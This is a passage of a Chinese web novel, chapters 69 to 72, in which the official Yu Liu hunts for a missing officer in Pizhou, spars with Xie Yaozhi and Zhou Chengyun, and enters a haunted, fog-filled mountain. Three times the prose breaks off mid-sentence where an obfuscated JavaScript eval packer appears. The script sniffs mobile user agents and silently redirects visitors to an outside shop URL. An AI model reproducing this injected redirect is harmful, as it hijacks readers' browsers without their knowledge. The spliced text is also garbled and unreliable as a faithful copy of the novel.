玉流冷笑,他还是够会算的。可转念一想,诸几只是失踪而已,他为何如此避之不及? “周清文对诸几来邳州的原因了解多少?” “不好说,周大人和那位小周公子……都不太好说。” 周承昀?怎么又会扯到他身上来?玉流问:“什么意思?” “先说小周公子吧,周大人对诸大人避而不谈,那位小周公子却对此十分热切,我们送到京城关于诸大人出现在回天城附近的消息就是他找来的,他还不止一次来署里说要帮我们找诸大人,有些积极过了头,而周大人的话……” 外侯官的额头冒出几层冷汗:“大人还记得我提到的那位谋士吗?” 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外侯官的脸色也难看起来:“是倒是,但真正为回天城来回奔走的是小周公子。三年来,只有绞断回天城围墙上铁链锁的那天,我见到过周大人走进去,此后的日子,周大人也就是隔几个月抽出个好日子,在门口远远地观望一会儿。最近么,就算知道诸大人在回天城附近失踪,他也去都没去过。” “大人,回天城这几年的确好了很多,也逐渐像一个正常的地方小镇了,甚至对那块的管束都少了许多。不过就以周大人这个消极的态度,要真是细究下去,闹大的话,吃亏的该是他。好处他占着,出了坏事也该他担着。” “我们私下也商讨过,虽然没得出一个有用的结论,但我们觉得周大人最近的变化,会不会是被人给骗了。” 玉流觉得稀罕:“周清文被骗了,他家里那么多人会看不出来?我看周承昀挺机灵的啊,他不关心他亲爹吗?” “呃……其实,小周公子看起来和周大人好像不是一条心。” 儿子可能管不了老子吧 “行了,你们是觉得那位谋士有问题吧,因为是个武功高强所以不敢跟得太近……”玉流撑着下巴,江湖中人吗,如果是的话,最近怎么那么多江湖人跟官府扯上关系,难道真被柳吾善说中了?一个个的,都不安分了? “叫什么,或者长什么样子知道吗?”她问。 外侯官挠头:“呃,其实我也没怎么见到过,那位不常出门的,我就记得有一次偶然听见周大人管他叫……叫什么谢……谢什么,唉,叫谢什么来着……” 玉流的眼神暗下来,她没有心思再听了,因为她已经知道是谁了,甚至已经听见了熟悉的脚步朝她走来。 她偏过头,眼尾一扬,朝敞开的门后看去。 “看看这勉强的神情,怎么,见到我就这么不高兴吗,”锦衣青年大摇大摆地闯进侯官署,折扇掩面缓步而来,悠扬放肆的狐狸眼暗含轻嘲,“咱们这位大名鼎鼎的……天下第二?” 69. 城点灯 玉流每每这般无声凝视,都会让谢遥知深恶痛绝。他合上折扇,昂着下巴长吁短叹:“唉,当时不是说是朋友的吗,这才过了几日,见到朋友连一声招呼都不愿意打了?” “放肆——”外侯官伸手就要去握藏在袖中的武器,被玉流拦下。 “不要紧的,我认识他,你去忙你的吧。”她说。 “是。”外侯官虽疑惑,但见玉流神色镇定,便知趣离开,顺手还带上了门。 没有外人横亘于他们之间,谢遥知如天上灰云的脸转露出点晴色来:“你再这么一动不动地看着我,本公子就要觉得你那患了多年,近来愈发严重的眼疾被我治好了。” 玉流眉心抽了抽:“嘴巴不会说话可以不要。” “你想要?我可以给你,”他走近,嬉笑着,“咦,难道几日不见,你对我芳心暗许了?” “说了别犯贱。”玉流确定谢遥知的脑子正常了。崇州已然翻篇,这样的认知让她稍微心安了些。 “怎么能说是犯贱呢,你又不是第一天认识我了,”他说着,还装模作样地东看西看,“你一个人来的啊。” “知道了还问?” “你回答一句不会少块肉,但我不问会少,问问我也能放心些。” 玉流扯着嘴角:“他病了,我让他留在京城修养。满意了吗,还要继续问下去吗?” “不了,我讲究点到即止,”他意有所指道,“问多了我伤心,不如你来问问我,你应该有很多想知道的吧。” 玉流冷着脸静默半晌:“谢遥知,我不傻。” 玉流说不好谢遥知是否知情,他和宋繁声之间虽不至于水火不容,但也绝对是互看不顺眼的程度。他也不是慕容鸠,没道理帮宋繁声。更何况他那时候做的那些事,不像是假的。 因此相较于这点,玉流更想知道他为什么会在这里。 他就这么出现在了邳州城内,还搭上了周清文这条门路,巧合吗? “你来邳州做什么?” 问这个啊,谢遥知有些失望:“帮忙啊。见你当官的日子过得这么滋润,心痒难耐,这不是学着你这个好榜样,我也换条路闯一闯。放宽心,我不会阻碍你的,我还可以帮你,如果你想的话。” “几日不见你也这般自负了,”可笑,玉流哼了一声,断然拒绝,“不需要。” 这个回答不算意外,但谢遥知还是要说:“真是无情呐,枉费我的一番苦心,转眼就要付之东流了。” “难道你知道我会来?” 玉流问完,立即否定,重新开口:“不,你就是知道我会来。” “哎呀,我还想故弄玄虚一番的,”谢遥知不理会玉流绷紧的脸,依旧姿态摇摆,尽说些闹她的无礼之话,“照理来说,我觉得你今年的脑子不该这么好使的。” “回了趟京城,生了一场病就变成新脑子了。新脑子好使。”玉流在心里恨恨道,好使得不得。 “你也病了?哈,京城的水土真是会养人啊。”他无不嘲讽道。 “废话说够了没?” “够了够了,”察觉出她的不耐,谢遥知正经了些,“还记得那个一起送到京城的盒子吗?” 玉流平静的眼眸抬起:“与你有关?” 谢遥知反射般往后跳,与她保持一个安全的界限:“先让我说完。那可不是我动的手,是我出去逛的时候在回天城外捡到的。” 玉流卷起袖子,松了松拳头,听见许久动过的骨骼发出咔咔悦耳的脆响:“哪有这么凑巧的事情?” “还就是这么凑巧,”谢遥知有心气,怎么一到他这儿玉流就疑神疑鬼的,“本来一根断指我还不当回事,但是我看到了那几个字,真是骇人眼睛啊,于是我特地拿了肉干骗了条农户家的猎狗,让它叼到了侯官署。” 他甚至不忘夸夸自己:“所以你不该谢谢我吗,要不是我,你都不会再有他的消息。” “是,我是该谢谢你,”要不是有这根黥了字的断指在,她来回天城也不会这么名正言顺,“谢谢你还用狗送情报。” “你也知道的,我现在的身份是周大人的门下客,和外侯官不是一路的,总不能当着周大人做出打他脸面的事来。” 玉流乜了他一眼,不说信不信,只说:“看不出来,你还挺忠心的。” “你知道就好,好了我先走了……我说你,干嘛一脸震惊的,以为我会继续纠缠你,”转身欲走的谢遥知停下,戏谑道,“我可不是那种疯起来脸皮都能不要的人。” “你想说什么?”玉流眉毛下压,落在他的最后一句上。 以前要是听见这话只会觉得他没事找事,随便逮个不知姓名的人阴阳一嘴。眼下却是不能了。 然而那张被玉流紧盯着的脸上只是浮现一抹不屑:“我还能想说什么,我要脸啊。” 谢遥知笑了,他还能想说什么,无非是两个心怀叵测的人在第三个人面前暗中较劲罢了。 他也不敢说玉流到底有没有发现敏郎的真面目,更无法对玉流有任何把握。 她没有带人过来出乎了他的料想。 病了?不一定吧,宋繁声那样的人,怎么会允许玉流一个人来回天城。怕不是故意和玉流分开,人嘛,保不准已经到了这附近。 那他得赶紧去找人看看了。 “叙旧也叙过了,我就不打搅玉大人休息了,”谢遥知朝她拱手,行了个礼数,“真走了,我还得回去应付周清文呢。” 谢遥知的话给玉流提了个醒:“等等,听说你在知州府住了好几天?” 谢遥知好整以暇:“不是说不需要我帮忙的吗?” “那你滚吧,我找外侯官。” “别介啊,我都停下了,您请说。” 玉流接下来的话让他脸上的得意瞬间四分五裂。 她问:“周承昀此人,你熟悉吗?” 谢遥知竭力维持自己的情绪:“问他做什么,你总不至于见一两次面就对他感兴趣了吧。” 玉流翻了个白眼:“我进回天城的时候,他派人跟踪过我,所以我来问问你对他的看法。” “什么?”谢遥知的脸色变了。他从周清文那儿得知玉流提前进了回天城,也知道她同周承昀打了个照面,不曾想里头还有这么一出。 这位小周公子还真是有胆子,就是不知是什么胆子。 可千万别是色胆。 谢遥知沉吟:“怎么说呢,周承昀有些神神叨叨,不是江湖上谋财神棍的那种,他只对回天城异常痴迷。” “我从知州府的老人嘴里套出了原因来。据说三年前的某个深夜,周承昀睡不着,本想出门看星星,结果星星没看着,先看到了一位走在云雾中的仙女,追了几里地后,见到她进了回天城。” 玉流:“……” 瞎扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725883|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般的故事,让玉流无话可说:“你认真的?” “谁知道呢,反正他这三年来有事没事就往回天城里跑。就刚刚,你前脚刚走,他后脚就又出去了,不知道的还以为他老子在里头压着呢,”谢遥知嗤笑,“要我说是女贼还差不多,谁家的好仙女半夜黑衣蒙面飞檐走壁的啊……嗯?你怎么突然不说话了?” 玉流淡然地移开眼:“人家的少年心事,我能说什么?” “那就好,”他点头,“我看你那样子还以为你就是那个仙女呢。反正你最好离他远一点。” 玉流附和笑笑:“行了,我有数了,你可以走了。” “玉流,人家问个路都知道说声谢谢,而你是问个人。我是什么路边的狐狸吗,召之即来挥之则去?”话是这么说的,人还是往门口走去了。他还有事要做,不能再在玉流这里浪费时间。 “别这么不高兴的,我送你到门口。”玉流跟着一同走了出来,顺便把从府衙拿来的竹伞塞进他的手里。 “哎呦呦,这是会心疼人了?可惜了,没让他看见。” “首先,这不是我的伞,其次,你的嘴巴是真的不想要了吧,要我给你画上两笔吗?” 谢遥知当即揣着伞告辞:“再会。” 送走了这尊大佛,玉流咬着唇在薄雨中站了会儿。 实不相瞒,他其实猜对了,那个披着女贼皮的仙女,没有什么意外的话,应该是她。 要死,她骂了一声,居然被人看见了,这人还是周承昀。不知道他派人跟踪她是为了什么,以防万一,还是不要接近他为妙。 然后,她该计划计划怎么去找诸几,再顺便找找赵廉了。 她刚回身,街那头就传来喊声:“玉大人,玉大人……” 玉流的表情颇为微妙,真是怕什么来什么。 她勉为其难地回头,原先得体有礼的小周公子十分狼狈地走来,一头长发松垮地披在肩上,被烟雨吹拂着,柔柔地遮住了半张脸。身上几层的衣袍乱着,像是太赶没有穿好。 玉流退后了几步:“周公子……你这是从哪儿玩回来了?” “路上脚滑摔了一跤咳咳咳,不好意思,跑得太急风进嗓子里了,”周承昀咳嗽了一会儿,“我来给玉大人送盏灯。” 周承昀朝后看去,落他几步的少年提着灯笼哼哧哼哧跑来。看少年的打扮,许是他身边的书童。 小书童举着灯笼递过来,板正道:“玉大人,这是我们老爷的命令,邳州城彻夜点灯,直至天明,我家公子怕您不知道,特地赶来相告。” 玉流接了灯笼转了转,眼尾朝着侯官署的大门看去,上头的确挂了不少的红灯笼:“周公子不必这么客气,这儿有的是外侯官告知我。” 周承昀摇头:“这是赔礼。回天城内是我失礼了,还望玉大人见谅。” 玉流瞥向他,总觉得周承昀和白日里见到的有些不同,可她与他并不相熟,一时之间又说不上来是哪里不同。 “我知道了,周公子只是谨慎,我也不会计较。” 这已经是玉流能想到的最委婉的逐客令了,见他仍然站在原地,玉流皱眉:“周公子还有什么事吗?” 俊秀的公子凤眼弯弯,笑意深深,玉流在迎面而来的山水寒气中闻到了一股很淡的药草香。 一段谦虚又克制的距离后,他用沙哑的嗓子询问:“玉大人,我能和你一起吗?” 70. 寒山禁 入夜时分,邳州家家户户门前都点着灯笼,在几乎无行人的街路上,橙艳的灯笼海犹如民间话本中危言耸听的鬼市。 玉流坐在屋顶,荡着双腿,眺望这座不夜之城。 她问过外侯官周清文为什么要做这种事?得到的答案是,这是这位周大人的一片孝心。 两年前,准确地说是两年半前,周大人的老母亲深夜突发梦魇,没过几日就演变成惧黑,一到黄昏便开始发作。多方寻医问药无果后,周大人为尽孝道,想出了这么一个法子来。 管用是管用,但全城都点蜡烛,这不是浪费钱吗? 外侯官说城中百姓没什么异议。因为回天城的大门大开,邳州不少民众整日忧心忡忡,周大人悬灯照城似白昼的做法,能让他们在夜里能稍微安稳些。 于是,这慢慢就变成了一个默认的习俗,一直延续到今天。 玉流听笑了。 究竟是谁梦魇惧黑可不好说。 想不到这三年里,邳州也过得挺有意思的。周清文这般又当又立,居然还能得民心,也是见了鬼了。 别说神神叨叨的周承昀了,周清文也好不到哪里去。 玉流转着发僵的颈子,朝着更远的城墙外望去。 无穷无尽如火球的灯笼似刀刃破开苍茫的大地。泾渭分明的两岸,一城亮,一城暗。 回天城好似一滴墨,墨的深处是座尖尖的笔端,笔端之上,绣着碎星的天幕如细长的银链河流,延申至她的来时路。 她已经比往常慢了许多了,还拖延了半日,明日总该到了吧。难得在这么有趣的地方,再不来的话,她会很无聊的…… 玉流不知道,在她长夜难眠,遥遥远望的同时,也有人在山前,在楼上,在路边远眺。 同一方灿星烂月之下,有被照亮的地方,自然也该留有被阴影吞噬的地方。 苍天古树围剿的山道中浓如炊烟的白雾弥漫,人行其中,顿失方向。看不见的前路,游荡的山风凛冽寒劲,呼啸之音如同无形恶鬼的低语,追杀着一切有生息的活物。 有人拖着被鬼音揉磨得麻木的身子,捂着被鬼爪抓得见骨的伤口,拿着石头在树皮上划下又一个十字。 有人被钉死在小小的木板中,阴湿顺着暗无天日的缝隙无孔不入,他在短暂渗入的光中流着血泪哀求。 有人砸碎佩剑,用缺了根手指的手掌紧紧握住剑尖,掌肉被锋利的剑刃刺穿,鲜血淋漓,他却好似失去痛觉一般,血肉裹着剑,在石壁凿下一笔一划…… 翌日清晨,玉流早早便起来了,她没有去叫周清文,没必要,她有了个给更好的替代。 随同外侯官进回天城之前,她道:“你们继续巡查,不用管我,嗯……” 玉流看了眼招摇过市走来的两位公子哥,多说了一个字:“们。” “为什么他也在?”谢遥知指着假笑如假人的周承昀问。 “为什么你也在,还是从邳州城外过来的。”玉流指着谢遥知刚才走来的方位问。 “切,这都看不出来,”谢遥知一个扭身,“出来看看,顺便等等你呗。” 玉流一如既往听不出引人瞩目的暧昧,淡声道:“周清文还真是对你放心。” “没办法,本公子就是这么招人喜欢,大概眼睛好的都能看出来,看不出的,我建议是去医馆看看,免得以后栽进阴沟里。” 玉流舔着腮帮子,这人阴阳怪气的本事真是长得够快:“吃点药吧你,夜里不睡还把精气神全放在嘴巴上。” “咦,你在关心我吗?” 玉流退后,抬手挡住他:“大哥,你衣服都没换,头发也软趴趴的。” 后面的话玉流懒得说了。 “这都被你看出来了啊,”谢遥知拨开垂下的碎发,“是没睡好,可能我就没有走仕途的命吧,事情太多,眼睛一闭一睁,就是要为周大人分忧……不许骂我,也不许在心里骂我!” 玉流:“……哦。” 她对他昨夜做了什么彻底没有兴趣了。 谢遥知就是不想玉流多问。他在邳州外寻了大半个夜晚,彼此曾经宛如双生子,宋繁声什么路数他最清楚不过。 可是他摸遍了沿线所有,宋繁声的一点影子都找到。 装了这么久的废物,身手反而更好了,真是让他怨恨和发愁 很难说宋繁声此刻到底身在何处,不知何时就会横插一脚坏他好事,所以他得跟紧玉流。 这一次,他要绝无差池。 “我说了为什么了,该轮到你了,”谢遥知抬起拇指指向一边闲看风云的人,“他为什么会在?” 玉流:“你走之后他过来找了我,主动请缨说想帮我找人。” “你答应了?” 玉流一脸你在问什么废话:“他说他熟悉回天城,我觉得他说得有道理,有本地人就是好啊。” 她原本是想把周清文带进来的,看他昨日的态度,估计不会愿意,那她就不能硬逼。但她总得要拖个姓周的进来,老周不行就换小周。 就算被小周认出来了也无所谓,反正没有证据,她也不会承认。 “这样啊……”谢遥知站直,折扇一拍就走向周承昀,“我懂了。” “周公子。” “谢公子。” “周公子挺闲。” “谢公子也闲。” 谢遥知短时间内占不到上风,决定先把他推走:“周公子既然熟悉回天城,不如为我二人带路吧。” “这是我应该做的,”周承昀应着,看向玉流,指尖随即落在脸颊上,似有疑惑,“是我脸上有什么吗,玉大人要如此看着我?” 周承昀今日恢复了昨日初见时的礼仪,发丝衣着皆是端庄,但玉流总觉得还有哪里不太对劲。 两人对上眼,玉流终于想出哪里不同了。 他身边少了一道气息,昨日来送灯时就没有了。 玉流当着谢遥知的面直白道:“周公子的护卫呢?” “有玉大人在,何必再找护卫?其实他也不算上什么护卫,我爹担心我闯祸,找个人来看着我罢了,玉大人请放心,我会谨言慎行,不会拖大人后腿的。” 突如其来的诚恳像是蒙了一层蜜糖的砒霜,玉流应当不喜这般油嘴滑舌的腔调,而且他的口吻和嗓音也很奇怪:“周公子的嗓子还没好吗,说话轻了这么多?” 他笑着捂住了嘴,咽了咽,润了会儿喉咙:“昨天淋了雨,有些着凉了。” “是吗,”玉流说着不知真假的关怀,“那真是劳烦周公子抱病领路了。” 周承昀笑:“小事而已,玉大人可要跟紧了。” 玉流也弯着笑眼:“……一定。” 回天城中。 忍了许久的谢遥知站在玉流身侧,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729704|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一歪就说悄悄话:“玉流,周清文和周承昀是父子,人前再怎么不对盘都是亲父子。你若是信他,不如信我。” “你?”玉流反问,“周清文不知道你和我之间的关系?” “知道啊,那又如何,周清文比得上你?” 玉流无语了:“你还以此为荣了。” “嘿,我本就玩玩,你可别告诉我你是认真的,认真要带着他一起找人啊。” “不会,”她又不是傻子,周承昀于她而言始终都是一个才相识不久的陌生人,“他背后或许有周清文的示意。同朝为官,周清文笃定我不敢拿他儿子怎么样,我也的确不能把他怎么样,容我后面再想想。所以到时候你把他给我弄走,用你的人,在我进去前。” 谢遥知抖着嘴:“啊,我的人?” 玉流戳破他的伪装:“别装了,你以为我会信你单枪匹马闯邳州?还帮周清文破案子?省省吧,我又不是十二三岁任你骗。” 府衙和外侯官都找不到的人让谢遥知先找到了?她可不信。 谢遥知差点吓坏的心缓了回来:“这都被你发现了,真是没劲,行,就当是你帮我隐瞒的回报,不过……你真要进去?” “一座山而已,我总要进去的。活着的人也好,死了的尸也罢,我总要把诸几找到,回去交差。” “可是那山里,”谢遥知不放心,晦涩道,“你也该听过那些阴邪的传闻。” 再听见传闻二字,玉流嘲弄道:“你也说了那是传闻,传闻真真假假,听听就过了。” 他们都知道玉流要进哪里去。 邳州城中几乎所有知情的人都在装傻。就这么一座小镇,用脚趾头都能想出失踪的诸几会被困在哪里——唯一没有搜查过的,是那座山。 山,禁山,也就是包打听劝诫她不要去的那座山。她一定要进去,在进去之前,得先把领路人给解决了。 玉流眼底划过一抹暗芒。 “唉,周公子,我们要不要去那儿看看?”谢遥知在玉流的暗示下叫住了走在前头的周承昀。 今日的周承昀有一抹天真在:“去哪儿?” 谢遥知:“那条巷子里,藏人嘛,就该在那种地方。” 周承昀若有所思:“也对。” 极短的一瞬,玉流只见一抹黑影闪过。谢遥知有自己的门道,就算再好奇是谁,她也不能问。 片刻后,谢遥知拍着手出来:“有人看着,我们走吧。” “好。”玉流收回眼,不再去看漆黑的巷子,她要入山了。 玉流抬眸望去,山峰已在身前。 禁山,如其名,隐喻了邳州在朝廷的授意下对世人的训诫。 为何禁止,因为山势旁高中低,里头风不流通,常年弥漫毒瘴,人进去了就是鬼打墙,几乎再无能走出来的可能。 自她记事起,能从山里走出来的,屈指可数。 但其实在禁山之前,它还有另一个名字——寒山。 山中有着常年不化的白,此白非彼白。邳州地处江南,寒冬腊月也少见霜雪,世人所见的白是白如雪的雾霭。 寒山深处,不是人间。 对于雾霭的来处,曾经众说纷纭,而后一夕之间便全部隐没,不得传,不得言,更不得想。 只有极少数的人清楚,玉流是其中之一,那雾霭,来自山中埋着的二十多万尸骨…… 71. 入白雾 抛下周承昀后,两人坦荡地行至南端,而后如隐于荒田枯禾间的鸟雀,避开散布在城中各处的耳目,即至禁山。 玉流没有去看那座擦身而过的寂寥院落。 山已咫尺,谢遥知不入山门就仿佛已经感知到从山巅狂卷而下的寒气。 “你说,”谢遥知卷着舌尖,“里头有没有人正等着你送上门来?” 玉流不答反问:“你想说谁?” 谢遥知假意思忖:“你来找的那位失踪的外侯官长官?还是……我也说不准。” “你想说无涯贼首吧,那更好,”她巴不得能在里头遇见他,“他最好真的在,趁此机会新账旧账一起算。” 谢遥知挪着脚尖,欲言又止:“可是这山……” 玉流知道他先说什么:“你该对我有信心,我不会死在山里。” “我知道。我不是这个意思。” 玉流:“嚯,对我这么有信心?” “我就是知道,”谢遥知眼角袒露几分藏于眨眼间的情谊,他没有看她,折扇打着手心,忽而问,“玉流,还记得我当年在万丈峰中见到你时说的第一句话吗?” “嗯?”玉流皱起脸,仿佛他在说什么笑话,“十几年前的事了,我怎么可能会记得,你也太高看我的记性了吧。” “是么……”他隔着雨露望山,狐狸眼耷着,轻轻笑道,“我也只是随便问问。” 谢遥知摇着扇子,拂散只罩着他的那层白纱,也拂散了他心底的那层落寞:“那你进去吧,周承昀那边,我会帮你看着的。” 玉流吊起右眼眉峰:“是我的错觉吗,我怎么觉得你很想我进去。” 谢遥知笑:“信任你而已,早去早回,放宽心,大是大非面前,我还是分得清孰轻孰重的。” 换句话——我不会害你。 玉流点点头,再吞吐一口山下的气息,推开没什么用的棘枝围栏,温和地走进那片雪雾…… 随同清丽的身影逐渐被雾霭淹没,谢遥知那点不在乎的自得也一齐消失。他斜着眼,细细感受那道几近于无的微弱视线。 经年累月训出的本事,一点眼神便能推测人心。 这道不熟悉的目光中,掺杂着丁点的不满,更多的是羡慕。 谢遥知转过身,半张脸上荡出点笑来。 那户方圆几里唯一人家,没有关紧实的门扉后有一只眼睛。一眼看去,真是人不像人,鬼不像鬼。 谢遥知举着扇子抵住下巴,半垂眼眸思量。他记得这个地方,也知道里面住的是谁。平生都没有交集过的认,为何要那样看他? 意随心动,谢遥知脚下一转,正欲上前敲门,门后的眼睛轻颤,脚都没有抬起,缝隙便已荡然无存。 从院子里被门拍出的,与禁山截然相反的活风打在脸上,谢遥知轻呵:“啧,什么人呐。” 不过这风也打醒了他,谨慎起见,他还是不要和这地方有一丝一毫的接触为好。 谢遥知敲着折扇走到路上,玉流进了山,他得等着她,但也不能闲下来,另一个人还没找到影子,这让他有些不安。 难得一次走在前头,居然还要被他牵着鼻子往歧路上移,这是让人不甘心。谢遥知正是不满之时,又有人不怕事地赶着送上来。 谢遥知站在阴黑的巷子中,脸色阴恻得如无底深潭:“地上的人呢?” 贴着墙的人浑身一抖,接着就是膝盖摔落在地:“少主,他、他跑了。一眨眼的工夫,人,人真的就没了,地上就只有断了的绳子……” 话都未说完,玩世不恭的笑眼已然消散,狐狸狡猾的凶狠毕露:“你、说、什、么!” 谢遥知一脚将人踹出去,怒声道:“你在开什么玩笑吗,周承昀这么一个文弱书生都对付不了?我还留着你做什么!” “我知错了,我知错了,”他咯着血,不顾剧痛爬过来,磕头搓手告罪,“少主,可能是他的护卫来救他了,我已经让人去追了,城里有我们的人,一定、咳……一定能把他抓回来的。” 谢遥知嘲讽:“人都跑了再抓回来有什么用,给我赶紧去盯着周清文,不能让他知道自己儿子遇袭被绑……我说,你怎么还站在这儿,等我夸你吗?还不赶紧给我滚!” 将人骂走,谢遥知按着眉心,无处可发的火气让他只能拿地上的绳子出气。谢遥知低头碾着绳头,真想把这当作人头,全都踩进土里活埋算了,为什么日部的人都是这般的蠢货,一个两个,只会给他添堵…… 突然间,眼睛微闪,他挪开脚,捡起断绳搓在指尖。 每股都裂得带着毛刺,这不是砍断的,这是扯断的……谢遥知心头猛地跳起,愈发不安的预感仿佛在提醒着他什么。 糟了! 玉流! 玉流走在由人肉人骨凝成的怨雾中,这些怨雾在地形地势的催化下被无限放大,逐渐变成了瘴气。 与其说瘴气有毒,进来的人会陷入幻境,不如说人心有恶,见鬼变生。 在如怨如恨的白雾中,运气好的,遇见一群没有头脑的鬼,絮絮叨叨,怂恿你去做坏事,运气不好的,会看见无数熟悉的面孔,过往的恶念一一成真。 她还好,本身就是恶人,没什么运气好不好的,恶人见恶鬼,有什么好怕的。 “都是熟人,你们给我点面子我也给你们点面子,要跟着我就闭嘴。” 雾气瞬间退离了些。 世人走不进走不出的山水总会带点什么鬼神的言论。或是山神,鸟兽在山中养出了灵性,会为迷路的人引路;或是山鬼,白雾也在山中得到了点化,这些绕着手指玩耍的雾也能说是灵。 邪灵。 依附在进山的人身上,带着他走进孤独之境。 人走过去,带出的一点脚印会迅速被白雾侵蚀,犹如成百上千的飞蛾赴火,结果却是黑蚁食尽猎物。 玉流拖着结成锁链的白雾,走在万顷地中,谁也不知道禁山有多高多深,一座能埋了二十多万白骨想来也不会比万丈峰差。 一山的枯黑树木,显然是上了年头。玉流举着手,戴上手套的指尖拨动过一颗一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735261|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗…… 突然,她停下,抬起眼皮,后退。 在一片破开的树皮上,隐约可见划开的痕迹。树皮间已经干涩,这道痕迹应该很久前。 玉流比了高度,在她头顶,不好说是谁留下的。 是诸几还好,如果是别人,那就难说了。 尤其是那位无涯贼首,如果是他,那这就是专门针对她的陷阱。 虽然在禁山里,无人能算得上是威胁,但是她好久没有进来的……思及此,玉流决定先跟着。 是人是鬼都要见一见,见完了,她才好离开。 有了这一处的线索,玉流开始贴着树走。她在找,由深变钱的划痕中,找到一个人的自救,也能找到一个人被困在白雾中几近崩溃的绝望。 为什么要绝望,因为又绕回了原地。 一棵树上两道划痕,对比真是有够明显的,玉流笑着抹去那抹浅的,觉得可笑又可悲。 禁山诸鬼惯用的手段罢了,不然怎么能叫做鬼打墙呢? 她只希望划下这些的人可千万别是诸几,如果是的话,下半年京城上下又有新的谈资了。 她这样想着,此路已经是死胡同,于是打算换条路走走。才转了半个身位,亦步亦趋跟在身后的白雾忽地变淡了。 只是一瞬间的变化,玉流甚至以为是错觉。 而禁山中没有错觉这一回事。 她扶着树,匕首从袖中滑出,耳尖轻动,于呼呼的死风和无处不在的白雾中分辨一道不该出现的声音——脚步声。 轻微的脚步忽近忽远,似乎是从四面八方而来,玉流转着身,试图确认脚步的方位,可她只能看见头顶在看不见天的树杈间,有一群秃鸦无声飞过。 杂乱的呼吸伴着来人的脚步,一齐融进寒风雾霭中,雾霭也有了活人的气息。 有谁自己过来了。 禁山中有规矩,不管对面站着的是谁,自己都不能先做出声的那方,谁知道回答你的究竟是不是人。 玉流站在树后,周围环绕的白雾就是最佳的藏身。她用匕首一下一下地击打着树干,不大的声音在山间回荡。 这是指引,她存着好心,招一个离她最近的迷路人。 她还挺希望是诸几的,这样的话,她后面会减少很多顾虑。 可惜不是。 渐近的脚步太快,诸几在山中少说困了数日,不可能还保持这样的体力。 那就无所谓了,反正剩下的,一律当作无涯贼首处置。 毫无征兆的,玉流停下了动作,五指绷紧,暗暗蓄力。 锐利的眼眸似鹰,在无尽的雾色中寻找即将冒出的人影—— 一阵窸窸窣窣的声响后,被白雾推着的一团从上坡上滚下来,身上的雾霭聚了又散,散了又聚,而匕首乘风划开一角,堪堪擦过发端,没入树中。 沾了糯米粉的团子就此缓缓显露出真容。 玉流拧起眉梢,蓄势的手心慢慢放回袖中。 她走来,带着满脸的疑惑冷眼审视:“怎么是你?” 72. 小时候 一身窘迫的公子哥胡乱地拨开糊住眼睛的头发往后抹,抹了半晌找不到束发的玉冠,原来玉冠早已在跌下坡道时掉落。他无法,只能任由发尾松垮地盖在脸侧,接着扯正散乱的衣襟,遮住被枯枝碎石割红的锁骨。 自觉已尽全力得当后,嘴唇快白了的周承昀清了清嗓子,道:“玉大人,巧。” 玉流闭了闭眼,扯笑嘴角。人在极度无语的时候会无端想笑,也偶尔会有莫名想杀人的冲动。 谢遥知是什么天大的蠢货吗,怎么手下的人也蠢到犯这种错误,连一个书生都看不牢吗! 见缝插针的白雾环伺而动,玉流怒甩衣袖,斥退了些邪念四起的恶灵,皮笑肉不笑道:“是巧,我以为周公子……还在回天城里。” “是呀,我也以为你们在城里。我不过是走错了路,一出来玉大人和谢公子就都不见了,我一着急,慌不择路,一不小心就闯进了这山里。”他舒服了些,顾得着自己的疼痛了,摸着后脑嘶了声,继而笑说。 “一不小心,”玉流戏谑,“那周公子运气还真是不好,毕竟,这是得眼瞎才能进的山。” “也不能这么说,我觉得我的运气还行,否则就不会在这里遇见了玉大人了,相信有玉大人在,我们一定能够顺利走出去的。”说罢,周承昀朝她拱手行礼。 周承昀的声音像被白雾囫囵吃过,玉流只听了个大概。他没有当场发难,反而配合着她演戏,这是要赖上她了。 要死,怎么今年尽是遇上一些没皮没脸的人物。 “我若是说不,周公子会自觉麻溜地滚走吗?” “大概不能。” “哈,行吧,我可以带你走,不过走之前,劳烦周公子帮我把匕首拿过来。”玉流的目光落在周承昀身后的树上。 “好说好说。”周承昀笑着应下,扭身握住匕首,拔……唉?再拔……唉? “玉大人,请稍等。”他拉下袖子,裹着出汗的手心,包住匕首柄。 完全没有催促之意的玉流:“我不急,你随意。” 周承昀失了笑,脚踩着树,咬着牙连脸都在用力,费了九牛二虎之力才把树中的匕首给拔了出来。 不幸的是借力打力,树也踹了回来,匕首脱离树干的一刹,周承昀整个人差点飞了出来。 匕首被甩出,玉流扬手接住,转手扣回鞘中。 周承昀费劲地爬起来,拍拍身上的土和雾:“真是正正好。” 